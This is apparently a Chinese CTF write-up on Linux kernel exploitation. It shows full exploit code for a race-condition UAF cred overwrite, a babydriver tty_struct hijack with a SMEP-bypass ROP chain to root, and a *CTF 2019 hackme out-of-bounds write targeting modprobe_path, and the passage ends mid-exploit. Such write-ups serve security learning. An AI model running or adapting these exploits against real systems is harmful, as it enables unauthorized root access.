    Add(0x280, bufA);
    Select(0);

    puts("competition now");
    pid = fork();
    if(pid == 0){
        for(int i=0; i<200; i++){
            pid = fork();
            if(pid == 0){
                while(1){
                    if(!getuid()){
                        puts("Root now=====>");
                        system("cat /flag");
                    }
                }
            }
        }

        while(1){
            Add(0x280, bufA);   //creat chunk0 flag=1
            Select(0);          //put chunk0 into file_operations,flag+1=2

            Remove(0);          //flag-1
            Add(0x280, bufB);   //race condition, maybe change chunk0
            read(fd, buf, 0x500);
            if(buf[0] != 'a'){  //if chunk0 changed, race win
                puts("child process race win");
                break;
            }
            Remove(0);          //else, race continue
        }

        puts("Now pipe to heap spray");
        Remove(0);              //uaf point
        char buf3[0x500] = { 0 };
        memset(buf3, 'E', 0x500);
        int fds[2];
	//getchar();
        //利用pipe堆喷，分配到 uaf point and change its size
        pipe(&fds[0]);
        for(int i = 0; i < 9; i++) {
            write(fds[1], buf3, 0x500);   
        }

        puts("We can read and write arbitary, To find cred");
        unsigned int *buffer = (unsigned int *)malloc(0x1000000);
        read(fd, buffer, 0x1000000);    //the uaf pointer'size has been changed
        unsigned int pos = 0;
        int count = 0;
        for(int i=0; i<0x1000000/4; i++){
            if(buffer[i] == 1000 && buffer[i+1] == 1000 && buffer[i+7] == 1000){
                puts("Found cred now");
                pos = i+8;
                for(int x=0; x<8; x++){
                    buffer[i+x] = 0;
                }
                count ++;
                if(count >= 2){
                    break;
                }
            }
        }
	printf("pos: 0x%llx\n",pos*4);
        write(fd, buffer, pos*4);
        while(1){
            if(!getuid()){
                puts("Root now=====>");
                system("cat /flag");
            }
        }
    }
    else if(pid > 0){
        char buf4[0x500] = { 0 };
        memset(buf4, '\x00', 0x500);
        while(1){
            getHead(buf4);
            read(fd, buf4, 0x500);
            if(buf4[0] != 'a'){
                puts("Parent process race won");
                break;
            }
        }
        while(1){
            if(!getuid()){
                puts("Root now=====>");
                system("cat /flag");
            }
        }
    }
    else 
    {
        puts("fork failed");
        return -1;
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
competition now                               
child process race win                        
Now pipe to heap spray                        
Parent process race won                       
We can read and write arbitary, To find cred  
Found cred now                                
Found cred now                                
pos: 0x29c44c                                 
Root now=====>

babydriver-ptmx-tty

程序分析

程序已经分析过很多次，由于 babydev_struct是一个全局变量。所以我们每次打开驱动时，都会对该结构体进行操作。而该结构上有一个堆地址，导致我们可以对该堆实现 UAF。

1
2
3
4
5
6
7
8
int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n", 37748928LL);
  return 0;
}

利用分析

之前的方法是利用 fork进程，然后 uaf修改 cred结构体实现。但是最近在学习内存slub算法时，发现线程的 cred结构体的创建是使用 kmem_cache_alloc从 cred_jar链上分配，而这道题我们的堆块分配却是使用 kmalloc，当申请 0xa8时 其只会从kmalloc-192链上分配。这两条链是不会有相同内存块的，那么之前的方法对这道题为什么能成功呢？后面发现这道题的 cred也是从 kmalloc-192上分配的，猜测应该是出题人自己修改了内核源代码，导致这道题可以这样做。

所以，今天学习一下这道题的另一种合理的做法，即劫持 tty-struct，顺便掌握另一种提权方法。

ptmx设备

ptmx设备是 tty设备的一种，当使用 open函数打开时，通过系统调用进入内核，创建新的文件结构体，并执行驱动设备自实现的open函数。其打开创建的文件结构体如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;	//劫持该结构体
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;

	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;

这个结构体内含有一个结构体 tty_operations 里面含有大量指针，这简直和 IO_FILE太类似了，如果我们能够修改 tty_struct的 tty_operations，就能劫持函数指针，然后再去触发调用，即能实现劫持程序执行流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
	void (*hangup)(struct tty_struct *tty);
	int (*break_ctl)(struct tty_struct *tty, int state);
	void (*flush_buffer)(struct tty_struct *tty);
	void (*set_ldisc)(struct tty_struct *tty);
	void (*wait_until_sent)(struct tty_struct *tty, int timeout);
	void (*send_xchar)(struct tty_struct *tty, char ch);
	int (*tiocmget)(struct tty_struct *tty);
	int (*tiocmset)(struct tty_struct *tty,
			unsigned int set, unsigned int clear);
	int (*resize)(struct tty_struct *tty, struct winsize *ws);
	int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
	int (*get_icount)(struct tty_struct *tty,
				struct serial_icounter_struct *icount);
	void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
	int (*poll_init)(struct tty_driver *driver, int line, char *options);
	int (*poll_get_char)(struct tty_driver *driver, int line);
	void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
	const struct file_operations *proc_fops;
} __randomize_layout;

当调用 open(“/dev/ptmx”, O_RDWR | O_NOCTTY)时，会调用 ptmx_open函数，该函数如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
//dirvers/tty/pty
/**
 *	ptmx_open		-	open a unix 98 pty master
 *	@inode: inode of device file
 *	@filp: file pointer to tty
 *
 *	Allocate a unix98 pty master device from the ptmx driver.
 *
 *	Locking: tty_mutex protects the init_dev work. tty->count should
 *		protect the rest.
 *		allocated_ptys_lock handles the list of free pty numbers
 */

static int ptmx_open(struct inode *inode, struct file *filp)
{
	struct pts_fs_info *fsi;
	struct tty_struct *tty;
	struct dentry *dentry;
	int retval;
	int index;

	nonseekable_open(inode, filp);

	/* We refuse fsnotify events on ptmx, since it's a shared resource */
	filp->f_mode |= FMODE_NONOTIFY;

	retval = tty_alloc_file(filp);	
	if (retval)
		return retval;

	fsi = devpts_acquire(filp);
	if (IS_ERR(fsi)) {
		retval = PTR_ERR(fsi);
		goto out_free_file;
	}

	/* find a device that is not in use. */
	mutex_lock(&devpts_mutex);
	index = devpts_new_index(fsi);
	mutex_unlock(&devpts_mutex);

	retval = index;
	if (index < 0)
		goto out_put_fsi;


	mutex_lock(&tty_mutex);
	tty = tty_init_dev(ptm_driver, index);	//分配tty_struct，并初始化
	/* The tty returned here is locked so we can safely
	   drop the mutex */
	mutex_unlock(&tty_mutex);

	retval = PTR_ERR(tty);
	if (IS_ERR(tty))
		goto out;

	/*
	 * From here on out, the tty is "live", and the index and
	 * fsi will be killed/put by the tty_release()
	 */
	set_bit(TTY_PTY_LOCK, &tty->flags); /* LOCK THE SLAVE */
	tty->driver_data = fsi;

	tty_add_file(tty, filp);

	dentry = devpts_pty_new(fsi, index, tty->link);
	if (IS_ERR(dentry)) {
		retval = PTR_ERR(dentry);
		goto err_release;
	}
	tty->link->driver_data = dentry;

	retval = ptm_driver->ops->open(tty, filp);
	if (retval)
		goto err_release;

	tty_debug_hangup(tty, "opening (count=%d)\n", tty->count);

	tty_unlock(tty);
	return 0;
err_release:
	tty_unlock(tty);
	// This will also put-ref the fsi
	tty_release(inode, filp);
	return retval;
out:
	devpts_kill_index(fsi, index);
out_put_fsi:
	devpts_release(fsi);
out_free_file:
	tty_free_file(filp);
	return retval;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
struct tty_struct *tty_init_dev(struct tty_driver *driver, int idx)
{
	struct tty_struct *tty;
	int retval;

	/*
	 * First time open is complex, especially for PTY devices.
	 * This code guarantees that either everything succeeds and the
	 * TTY is ready for operation, or else the table slots are vacated
	 * and the allocated memory released.  (Except that the termios
	 * may be retained.)
	 */

	if (!try_module_get(driver->owner))
		return ERR_PTR(-ENODEV);

	tty = alloc_tty_struct(driver, idx);//使用kzalloc分配tty_struct，并对tty_struct各指针进行赋值
	if (!tty) {
		retval = -ENOMEM;
		goto err_module_put;
	}

	tty_lock(tty);
	retval = tty_driver_install_tty(driver, tty);
	if (retval < 0)
		goto err_free_tty;

	if (!tty->port)
		tty->port = driver->ports[idx];

	WARN_RATELIMIT(!tty->port,
			"%s: %s driver does not set tty->port. This will crash the kernel later. Fix the driver!\n",
			__func__, tty->driver->name);

	retval = tty_ldisc_lock(tty, 5 * HZ);
	if (retval)
		goto err_release_lock;
	tty->port->itty = tty;

	/*
	 * Structures all installed ... call the ldisc open routines.
	 * If we fail here just call release_tty to clean up.  No need
	 * to decrement the use counts, as release_tty doesn't care.
	 */
	retval = tty_ldisc_setup(tty, tty->link);
	if (retval)
		goto err_release_tty;
	tty_ldisc_unlock(tty);
	/* Return the tty locked so that it cannot vanish under the caller */
	return tty;

err_free_tty:
	tty_unlock(tty);
	free_tty_struct(tty);
err_module_put:
	module_put(driver->owner);
	return ERR_PTR(retval);

	/* call the tty release_tty routine to clean out this slot */
err_release_tty:
	tty_ldisc_unlock(tty);
	tty_info_ratelimited(tty, "ldisc open failed (%d), clearing slot %d\n",
			     retval, idx);
err_release_lock:
	tty_unlock(tty);
	release_tty(tty, idx);
	return ERR_PTR(retval);
}

而 kzalloc也是调用 kmalloc来分配堆块。

利用思路如下：

  1. 构造uaf堆块

首先构造一个 uaf堆块，其大小与 tty_struct大小一致

  1. 劫持 tty_struct

然后调用 open(“/dev/ptmx”, O_RDWR | O_NOCTTY) 来分配一个 tty_struct，那么很有可能就是分配到 第1步中留下的 uaf堆块

  1. ROP

这里首先需要通过 uaf漏洞修改 tty_struct中的 tty_operation为我们自己伪造的一个 fake_tty_operation。然后将 fake_tty_operation中构造如下ROP：

1
2
3
4
fake_tty_operation[7] = mov_rsp_rax_ret;
fake_tty_operation[0] = pop_rax_ret;
fake_tty_operation[1] = rop;
fake_tty_operation[2] = mov_rsp_rax_ret;

由于 fake_tty_operation[7]是 write指针。也就是我们执行如下函数：

1
write(tty_fd, buf, size);

会跳转到 fake_tty_operation中的 write指针处执行，而这里的指针被伪造为了 mov_rsp_rax_ret这个 gadget。这是因为，我们发现执行 write指针时 rax刚好为 fake_operations的首地址。那么，执行该 gagdet后，rsp就会跳到 fake_operation[0]处。

然后继续在fake_tty_operation起始的三个地址，布置 gadget，实现了跳转到 ROP处执行的目的。

注意：这里在执行rop时，在执行getshell函数时，可能会报一个段错误，这里可以使用 signal捕捉一个段错误，然后重新执行 system('/bin/sh')来获得 shell。（产生原因已经破案，可以看下面 KPTI部分）

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>

int fd1 = 0;
int fd2 = 0;
int fd3 = 0;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t iretq  = 0xffffffff814e35ef;
size_t p_rdi_r  = 0xffffffff810d238d;
size_t mv_cr4_rdi_p_rbp_r = 0xFFFFFFFF810635B1;
size_t swapgs = 0xffffffff81063694;
size_t mv_rsp_rax = 0xFFFFFFFF8181BFC5;
size_t p_rax_r = 0xffffffff8100ce6e;
void ErrPro(char* buf){
    printf("Error %s\n",buf);
    exit(-1);
}

void getshell(){
    if(!getuid()){
        system("/bin/sh");
    }
    else{
        ErrPro("Not root");
    }
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void savestatus(){
       __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

void Add(int fd, size_t size){
    if(-1 == ioctl(fd, 0x10001, size)){
        ErrPro("Add");
    }
}

void get_shell_again(){
  puts("SIGSEGV found");
  puts("get shell again");
  system("id");
  char *shell = "/bin/sh";
  char *args[] = {shell, NULL};
  execve(shell, args, NULL);
}
 
int main() {
    signal(SIGSEGV,get_shell_again);
    savestatus();

    fd1 = open("/dev/babydev",O_RDWR);
    if(fd1 < 0){
        ErrPro("Open dev");
    }

    fd2 = open("/dev/babydev",O_RDWR);
    if(fd2 < 0){
        ErrPro("Open dev2");
    }

    Add(fd1, 0x2e0);
    close(fd1);
    fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    if(fd3 < 0){
        ErrPro("Open ptmx");
    }

    size_t tty_operations[7] = { 0 };
    size_t tty_struct[4] = { 0 };
    size_t rop[0x200] = { 0 };
    int i = 0;
    
    rop[i++] = p_rdi_r;
    rop[i++] = 0x6f0;
    rop[i++] = mv_cr4_rdi_p_rbp_r;
    rop[i++] = 0;
    rop[i++] = (size_t)getroot;

    rop[i++] = swapgs;
    rop[i++] = 0;
    rop[i++] = iretq;
    rop[i++] = (size_t)getshell;

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    read(fd2, tty_struct, 4*8);

    tty_operations[7] = mv_rsp_rax;
    tty_operations[0] = p_rax_r;
    tty_operations[1] = rop;
    tty_operations[2] = mv_rsp_rax;
    tty_struct[3] = tty_operations;
    write(fd2, tty_struct, 4*8);
    
    char buf[0x10] = { 0 };
    write(fd3, buf, 0x10);

}

2019-starctf-hackme

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
__int64 __fastcall hackme_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
  __int64 v3; // rax
  __int64 v4; // rsi
  __int64 *v5; // rax
  __int64 v7; // rax
  __int64 chunk; // rdi
  __int64 *v9; // rax
  __int64 v10; // r12
  __int64 v11; // r13
  __int64 *v12; // rbx
  __int64 v13; // rbx
  __int64 v14; // rdi
  __int64 *v15; // rbx
  __int64 v16; // rax
  unsigned int v17; // [rsp+0h] [rbp-38h] BYREF
  __int64 buf1; // [rsp+8h] [rbp-30h]
  __int64 size; // [rsp+10h] [rbp-28h]
  __int64 off; // [rsp+18h] [rbp-20h]

  copy_from_user(&v17, a3, 0x20LL);
  if ( a2 == 196609 )
  {
    v13 = 2LL * v17;
    v14 = pool[v13];
    v15 = &pool[v13];
    if ( v14 )
    {
      kfree();
      *v15 = 0LL;
      return 0LL;
    }
    return -1LL;
  }
  if ( a2 > 0x30001 )
  {
    if ( a2 == 196610 )
    {
      v7 = 2LL * v17;
      chunk = pool[v7];
      v9 = &pool[v7];
      if ( chunk && off + size <= (unsigned __int64)v9[1] )
      {
        copy_from_user(off + chunk, buf1, size);
        return 0LL;
      }
    }
    else if ( a2 == 196611 )
    {
      v3 = 2LL * v17;
      v4 = pool[v3];
      v5 = &pool[v3];
      if ( v4 )
      {
        if ( off + size <= (unsigned __int64)v5[1] )
        {
          copy_to_user(buf1, off + v4, size);
          return 0LL;
        }
      }
    }
    return -1LL;
  }
  if ( a2 != 196608 )
    return -1LL;
  v10 = size;
  v11 = buf1;
  v12 = &pool[2 * v17];
  if ( *v12 )
    return -1LL;
  v16 = _kmalloc(size, 6291648LL);
  if ( !v16 )
    return -1LL;
  *v12 = v16;
  copy_from_user(v16, v11, v10);
  v12[1] = v10;
  return 0LL;
}

程序总体逻辑实现了四个功能：Add可以申请任意大小的堆块，并将堆块地址和size放入 pool中存储；Delete可以根据输入的 id删除pool中的堆块；Write功能 能够指定输入的 size和偏移 off,然后将数据输入到 chunk+off处；Read可以读取 size大小的 chunk+off处的数据。

在 Read和 Write中虽然对 size和off做了检查，即：

1
size+off < chunk_size

但是，这里如果我们的 off输入负值，然后 就可以向上越界任意读写了。

利用分析

现在漏洞是一个 向上越界任意读写，那么这道题和 SUCTF的那道题就极其相似。

最开始的想法就是利用向上越界修改一个 空闲内核堆的 fd指针直接指向 modprobe_path来 getshell，但是后面经过调试失败了。虽然能够分配到 modprobe_path，但是修改完之后，执行 system时会报错。猜测应该是分配到 modprobe_path，写入时将其他数据也覆盖了。而这道题在分配堆块时，是会写入数据的，所以直接分配到 modprobe_path有问题（这个问题花了我大概一晚上的时间：(

然后，思考到有一个 pool全局数组，里面存储了 堆地址和 chunk_size。如果能够劫持 pool，将堆地址改为 modprobe_path，那么在利用 write函数，就能实现劫持到 modprobe_path，且仅修改 modprobe_path的值。

  1. 泄露地址

这道题自己做时，思考的泄露地址很粗暴，就是利用向上越界任意读，去读取前面堆块中的内容，寻找是否有 内核地址 和 驱动地址以及堆地址。最终很幸运，直接0x400的slub向上读 0x800就可以泄露这三个地址。但是这种做法，稍显不靠谱。

后面继续从 P4nda也学到一种方法，即利用 mod_tree地址。如果能够知道 内核地址，就能够知道 mod_tree地址，而mod_tree地址中存储了 驱动地址，如下所示：

1
2
3
4
5
6
pwndbg> x/20xg 0xffffffffbba11000
0xffffffffbba11000:     0x0000000000000006      0xffffffffc01f8320
0xffffffffbba11010:     0xffffffffc01f8338      0xffffffffc01f6000
0xffffffffbba11020:     0xffffffffc01fc000      0x0000000000000000
0xffffffffbba11030:     0x0000000000000000      0x0000000000000000
0xffffffffbba11040:     0xffffffffbba11040      0xffffffffbba11040

所以，如果能够分配堆块到 mod_tree下面，然后利用向上读，就能泄露驱动地址。

  1. 劫持 pool

得到 驱动地址之后，就能够得到 pool地址，这里有一个奇怪的点是我目前还未相通的，即 pool地址在调试时其与驱动基址的偏移与 IDA中所看到不一样。目前总结的是，调试时得到的偏移是准确的。

然后利用slub分配，劫持到pool+0xc0处，然后利用 write在 pool+0xc0处写上 modprobe_path和 size。

随后利用 write(0xc)，就可以修改 modprobe_path的值。

寻找 gadget，可以先考虑使用 objdump，比 ropper快一点：

1
2
3
objdump -d vmlinux -M intel | grep -E "cr4|pop|ret"

objdump -d vmlinux -M intel | grep -E "swapgs|pop|ret"

EXP

从堆块中泄露地址：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>

size_t modprobe_path = 0x83f960;
int fd = 0;
typedef struct pool{
    size_t idx;
    char* buf;
    size_t size;
    size_t off;
}Kpool;

void err(char* buf){
    printf("%s Error\n", buf);
    exit(-1);
}

void Add(size_t idx, size_t sz, char* buf){
    Kpool pl;
    pl.idx = idx;
    pl.buf = buf;
    pl.size = sz;
    if(-1 == ioctl(fd, 196608, &pl)){
        err("Add");
    }
}

void Delete(size_t idx){
    Kpool pl;
    pl.idx = idx;
    if(-1 == ioctl(fd, 196609, &pl)){
        err("Delete");
    }
}

void Input(size_t idx, size_t sz, char* buf, size_t off){
    Kpool pl;
    pl.idx = idx;
    pl.buf = buf;
    pl.size = sz;
    pl.off = off;
    if(-1 == ioctl(fd, 196610, &pl)){
        err("Input");
    }
}

void Output(size_t idx, size_t sz, char* buf, size_t off){
    Kpool pl;
    pl.idx = idx;
    pl.buf = buf;
    pl.size = sz;
    pl.off = off;
    if(-1 == ioctl(fd, 196611, &pl)){
        err("Output");
    }
}

int main(){
    system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/getflag.sh");
    system("chmod +x /home/pwn/getflag.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/ll");
    system("chmod +x /home/pwn/ll");
    fd = open("/dev/hackme", 0);
    if(fd < 0){
        err("Open dev");
    }
    size_t ssize = 0x400;
    size_t size1 = 0x100;
    char bufA[0x100] = { 0 };
    char bufB[0x400] = { 0 };
    memset(bufA, 'A', 0x100);
    memset(bufB, 'B', 0x400);
    int chunkId = 0;
    puts("Add now");
    Add(chunkId++, ssize, bufB);
    Add(chunkId++, size1, bufA);
    memset(bufA, 'B', 0x100);
    Add(chunkId++, size1, bufA);
    memset(bufA, 'C', 0x100);
    Add(chunkId++, size1, bufA);
    memset(bufA, 'D', 0x100);
    Add(chunkId++, size1, bufA);  //4
    memset(bufA, '5', 0x100);
    Add(chunkId++, size1, bufA);  //5

    puts("Leak addr:");
    char* buffer = malloc(0x1000);
    memset(buffer, '\x00', 0x1000);

    Output(0, 0x800+0x20, buffer, -0x800);
    size_t module_addr = 0x0;
    size_t vmlinux_addr = 0x0;
    module_addr = *(size_t*)(buffer+0x70)-0x1000;
    vmlinux_addr = *(size_t*)(buffer+0x40)-0x6de30;
    printf("module_addr: 0x%llx, vmlinux_addr: 0x%llx, mod:0x%llx\n", module_addr, vmlinux_addr,modprobe_path+vmlinux_addr);
    size_t pool_addr = module_addr + 0x2400;

    Delete(2);
    Delete(4);
    memset(buffer, "\x00", 0x1000);
    *(size_t*)buffer = pool_addr+0xc0;
    Input(5, 0x100, buffer,-0x100);

    char path[30] = "/home/pwn/getflag.sh\x00";
    strncpy(bufA, path, 30);

    Add(6, size1, buffer);
    Add(7, size1, buffer);  //pool
    *(size_t*)buffer = modprobe_path+vmlinux_addr;
    *(size_t*)(buffer+0x8) = 0x100;
    Input(7, 0x10, buffer, 0);
    Input(0xc, 30, bufA, 0);

    system("/home/pwn/ll");
    system("cat /home/pwn/flag");

    return 0;
}

从 mod_tree中泄露地址：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>

size_t modprobe_path = 0x83f960;
int fd = 0;
typedef struct pool{
    size_t idx;
    char* buf;
    size_t size;
    size_t off;
}Kpool;

void err(char* buf){
    printf("%s Error\n", buf);
    exit(-1);
}

void Add(size_t idx, size_t sz, char* buf){
    Kpool pl;
    pl.idx = idx;
    pl.buf = buf;
    pl.size = sz;
    if(-1 == ioctl(fd, 196608, &pl)){
        err("Add");
    }
}

void Delete(size_t idx){
    Kpool pl;
    pl.idx = idx;
    if(-1 == ioctl(fd, 196609, &pl)){
        err("Delete");
    }
}

void Input(size_t idx, size_t sz, char* buf, size_t off){
    Kpool pl;
    pl.idx = idx;
    pl.buf = buf;
    pl.size = sz;
    pl.off = off;
    if(-1 == ioctl(fd, 196610, &pl)){
        err("Input");
    }
}

void Output(size_t idx, size_t sz, char* buf, size_t off){
    Kpool pl;
    pl.idx = idx;
    pl.buf = buf;
    pl.size = sz;
    pl.off = off;
    if(-1 == ioctl(fd, 196611, &pl)){
        err("Output");
    }
}

int main(){
    system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/getflag.sh");
    system("chmod +x /home/pwn/getflag.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/ll");
    system("chmod +x /home/pwn/ll");
    fd = open("/dev/hackme", 0);
    if(fd < 0){
        err("Open dev");
    }
    size_t ssize = 0x100;
    char bufA[0x100] = { 0 };
    memset(bufA, 'A', 0x100);
    
    int chunkId = 0;
    puts("Add now");
    Add(chunkId++, ssize, bufA);
    memset(bufA, '1', 0x100);
    Add(chunkId++, ssize, bufA);
    memset(bufA, '2', 0x100);
    Add(chunkId++, ssize, bufA);
    memset(bufA, '3', 0x100);
    Add(chunkId++, ssize, bufA);
    memset(bufA, '4', 0x100);
    Add(chunkId++, ssize, bufA);

    // puts("Leak addr:");
    char* buffer = malloc(0x1000);
    // memset(buffer, '\x00', 0x1000);
    // Output(0, 0x400+0x20, buffer, -0x400);
    // size_t module_addr = 0x0;
    // size_t vmlinux_addr = 0x0;
    // module_addr = *(size_t*)(buffer+0x70)-0x1000;
    // vmlinux_addr = *(size_t*)(buffer+0x40)-0x6de30;
    // printf("module_addr: 0x%llx, vmlinux_addr: 0x%llx\n", module_addr, vmlinux_addr);
    
    Delete(1);
    Delete(3);
    memset(buffer, "\x00", 0x1000);
    Output(4, 0x100, buffer, -0x100);
    size_t heap_addr = *(size_t*)buffer-0x100;
    printf("Heap_addr: 0x%llx\n",heap_addr);

    Output(0, 0x200, buffer, -0x200);
    size_t kernel_addr = *((size_t*)buffer)-0x0472c0;
    size_t mod_tree_addr = kernel_addr + 0x011000;
    printf("kernel_addr: 0x%llx", kernel_addr);
    printf("mod_tree_addr: 0x%llx\n", mod_tree_addr);

    memset(bufA, "\x00", 0x100);
    *(size_t*)bufA = mod_tree_addr+0x50;
    Input(4, 0x100, bufA, -0x100);
